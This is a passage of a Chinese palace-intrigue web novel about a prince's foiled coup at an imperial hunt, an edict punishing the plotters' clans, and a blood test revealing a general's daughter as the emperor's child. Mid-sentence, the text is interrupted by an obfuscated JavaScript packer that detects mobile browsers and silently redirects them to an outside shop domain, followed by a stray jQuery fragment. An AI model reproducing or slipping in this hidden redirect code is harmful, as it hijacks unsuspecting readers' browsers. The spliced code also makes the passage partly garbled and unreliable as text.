只有身带残疾的三爷与被禁闭的六爷没有下场。
不过三爷虽不下场,但依旧心系父皇,与福晋薛氏一起随侍皇帝左右,甚是体贴。
同样坐在皇帝下首的皇后脸色就没那么好看,雍容华贵的装扮下遮掩不掉异生的怨怼。
想到自己的儿子被剥夺出席秋猎的资格,不成器是不成器,好歹也为了哄他皇阿玛开心练了许久的武艺。
可皇帝呢,仅仅因儿子纯良的谏言就如此对待他们母子,博尔济吉特氏再也忍不住心中的怨气,不满地朝皇帝那儿瞪了一眼。
营地歌舞接连,鼓声不断。
契丹王坐在左边席位上,是个极佳的观赏位,这不让他看到了非常有趣的一幕。
在皇后视线的死角,最上方的皇帝感受到了博尔济吉特氏的怨怼,但他周身环绕的似乎不是对皇后失敬的不满,而是——恐惧?
契丹王将这幅不可多得的画面尽收眼底,将之与其带来中原的谋算一起糅合,试试可否品出别样的风味。
外场,西边。
眼看离西山寨越来越近,五爷与九爷悄悄勒马,各寻了处隐蔽的丛林闪躲了进去。
暗哨吹响,只待敌人自投罗网。
“弟兄们,你们只管打进去!今日满朝文武俱在,便能坐实本皇子救驾的实绩!”
“无论哪个皇子在皇帝身边,你们都只管交给我,咱们给他扣上一顶必死的谋反弑君之罪,便能覆手为天了哈哈哈哈。”
十阿哥气宇昂扬地骑在一头血汗宝马之上,领着十二寨地匪就地安排。
在发出最后一句命令前,他的眼底迸发出滔天的冲劲。
“取各皇子、后妃项首者封万户侯,俘获熙贵妃者封国公!”
十二寨人马得令,再也按耐不住即将加官进爵的兴奋,抽出利刃朝营帐中央猛冲。
一时间,整个猎场西侧响彻了“十皇子救驾”的高喊声。
可这此起彼伏的声响还没传到皇帝耳朵里,就被五千精兵团团围住,浇灭了皇匪勾结的斗志。
“十弟,你身后这些个人马是要做什么?”五爷冷脸问道,脸上是遮不住的失望与震惊。
五千精兵突然出现,把十阿哥围在当中可是吓坏了。
他一时间愣在原地,但也只反应了一瞬,即刻去赌那剩下的万分之一。
只要他一口咬定皇阿玛在营中被刺,需要救驾,等把人带入一片打杀的战场,混乱之中的错杀多杀则再正常不过了。
但老天并没有给他这个机会。
“别问了五哥。他身后这些……估计都是十弟打下的猎物呢。”
听到厌恶之人熟悉的调笑,十阿哥一脸狰狞地抬起头,朝九爷怒喝道:“杀!给朕把他们都杀了!”
“杀了他们!就没人知道咱们谋反了!”
这话九爷都快听腻了,方才躲在草丛里听十阿哥的谋逆之言,他就已经无聊到拿树枝在地上画圈圈了。
九爷与五爷相并,抬起手一挥,顷刻间土地动荡,禁军精兵呈围剿之势如湖水涌向反贼。
…………
钮钴禄一家静候在养心殿外晒了一个日头,终于等到了里头的人出来。
那是一位年轻女子,身着碧荷色湘妃竹宫服,衣服发饰上的褶皱无一不显她先前遭受的苦楚。
继续向上看去,她的脸上全无悲意,反而是如释重负的释怀之笑。
这人殊宁认得,正是十阿哥继福晋温氏。
温启檀不顾周遭打探的眼神,自顾自地踉跄着向前走,有小太监想来搀扶也被她拒绝。
跟在她身后一块儿出来的还有邢国泰邢公公。他清了清嗓音,展开那道明黄圣旨,朝大殿前亮声道。
“奉天承运,皇帝诏曰:
今查实十阿哥绵禄,暗通匪寇,意欲弑君篡位,败乱纲常,罪大恶极,天地不容。
着即褫夺其宗籍,废为庶人,赐死,以正国法,以儆效尤。
其母顾嫔,明知不谏,纵容逆谋,罪无可赦。其妻族温氏,勾结逆党,实属同党。外族顾氏、董鄂氏、温氏三族,着交有司,尽行诛绝,以肃朝纲。”
邢国泰一顿,看向大殿中央孤零零的原十福晋,继续宣读后半段旨意。
“然温氏次女温启檀,素行谨慎,临变不乱,使社稷得以早安,功过分明,不可一概而论。
朕念其身为弱质,身处逆境而能识大义,特赦其死罪,削去温氏族籍,另立新籍。其长姐温启翡亦同削原族,自此与温氏旧族断绝干系。
特赐“忠义明贞”匾额一方,悬于门楣,以彰其德。准其于京中自立门户,经商营生。
——钦此。”
温启檀接过那封沉甸甸的圣旨,缓缓起身,神色未动。
她终于给了枉死的姐姐一个交代,让所有该死之人一同下去给姐姐赔罪。
温家,既做得出袖手旁观之举,也该尝尝同等的滋味。
而她温启檀断不会出手相救,甚至在皇帝的言语试探下她依旧孑然一身轻,亲眼看着温家全府人一道定了死罪。
今后的路,她要与之前走过的路一样。
隔绝周遭的质疑声,踏平挡路的阻碍——踏实地、有勇有谋地、孤身走下去。
目送完温家的最后一根独苗离开,邢国泰转过身面对钮钴禄府一家人,满脸堆笑道:“将军、夫人,里边儿请吧。”
殊宁随在母亲庄氏身后进入内殿,她身后跟着是最小的四妹弱宣,除了习以为常的将军,他的女眷们此刻都显得很局促不安。
养心殿内,皇帝高高坐在龙椅之上,与他们跪地的下方隔着数十台阶。
来朝见的人们若是守规矩低着头,怕是连皇帝的衣尾都看不到。
这幅场面,生生把从小在边疆长大的四妹吓得惶恐。
她一进殿看见空荡荡的大殿内只有孤零零的他们几个人,更是被金光铜柱照得害怕,寻着机会往同样在后面的骆姨娘背后一缩。
骆姨娘也惊惧,被弱宣这么一动打了寒蝉,惊动了前头的庄氏。
主母一个警告的眼神下来,骆氏母女不敢再乱动,逼得弱宣战战兢兢地重新站回三
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768874|209836||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姐殊宁身旁。
而这一切,都完整无缺的落在帝王眼中。
自钮钴禄一家进来,他的眼睛就摆忽不定,从将军扫向夫人,从三女儿扫向四女儿,最后定在了弱宣身上。
并非皇帝不想认回亲女,而是他结合自己得到的消息,怎么看都觉得钮钴禄一家人甚是孤疑。
加上立于他右侧的老九,就更奇怪了。
皇帝压下心头的疑惑,大手一挥让众人免礼平身,沉声道:“爱卿不必慌张,朕今日召你一家过来,自然是要谈家事的。”
钮钴禄将军即刻携家眷跪地,恭敬回道:“得皇上亲问家事乃臣之幸事,臣等定知无不言。”
上方传来皇帝喜怒不明的一声“好”,紧接着便是邢公公亲自来请四小姐上阶,由皇帝细看。
不止弱宣听到自己被单独请过去的困惑,连庄氏也眸光闪烁,眉头不自觉地蹙了起来。
直到邢公公出声提醒“该停了”,弱宣才惊觉自己已走到了皇帝跟前,离父亲姨娘好似有万千公里。
她行礼的手冰凉,不等皇帝问话就怕得腿软,只能作出一副噤若寒蝉的敛静模样。
皇帝却没有向她发问任何一句话,示意了邢国泰后,即刻有小太监上前绑住弱宣,从她手指上强硬取了几滴血。
弱宣吓到悚然,瞳孔涣散如覆灰膜,惨白如纸的脸上左右两侧太阳穴突突跳个不停。
她那是一度以为自己要死在这里了,直到听到邢公公喜悦的一句“融了,皇上!相融了!”
弱宣惊疑地抬起头,刚好对上皇帝审视的目光。
她喉咙像被无形的手扼住,上下吞咽滚动却说不出一句完整的话。
被万臣俯拜的皇帝牵起时,弱宣还觉得是在梦里,恍恍惚惚的,只有她手心攥出的冷汗在提醒她方才发生的一切。
“钮钴禄夫人可还记得,宝德八年你们一家进京封赏,路上可有异事?”
庄氏沉静回话,语气没有半分怯意:“那年臣妇一家自陕甘进京,车马不敢稍缓,只在潼关驿、河间驿、通州驿歇脚换马。入京后便借居祖宅,起居如常,并无异样。”
“那可有喜事?”
庄氏俯身一拜,神色更为恭敬:“宝德八年,正是臣妇夫君擢授正三品参将之时,蒙朝廷恩典,臣妇亦得敕封三品淑人。此等天恩,臣妇不敢或忘。”
她顿了顿,发觉皇帝不作回答,立刻补充道:“若要说府上其他喜事,授天恩后,将军有小儿降生,正是行四的女儿弱宣。家门添子,臣妇以为是沐天恩而降的喜兆。”
皇帝闻言,骤然变色而起,大殿回荡着彼伏的暴怒声。
“好一个沐天恩降生的孩子!滴血验亲已核,那孩子——是朕的亲生女儿!”
殿中众人顿时天威压顶,连大气也不敢出,全都跪伏在地,承受着皇帝骤起的雷霆怒意。
送进去一个新月娇女,出来却只有邢公公一人,连带着一小碗血水。
钮钴禄一家凑近探去,里面赫然是两滴相融之血——皇帝与钮钴禄家四小姐的指尖血!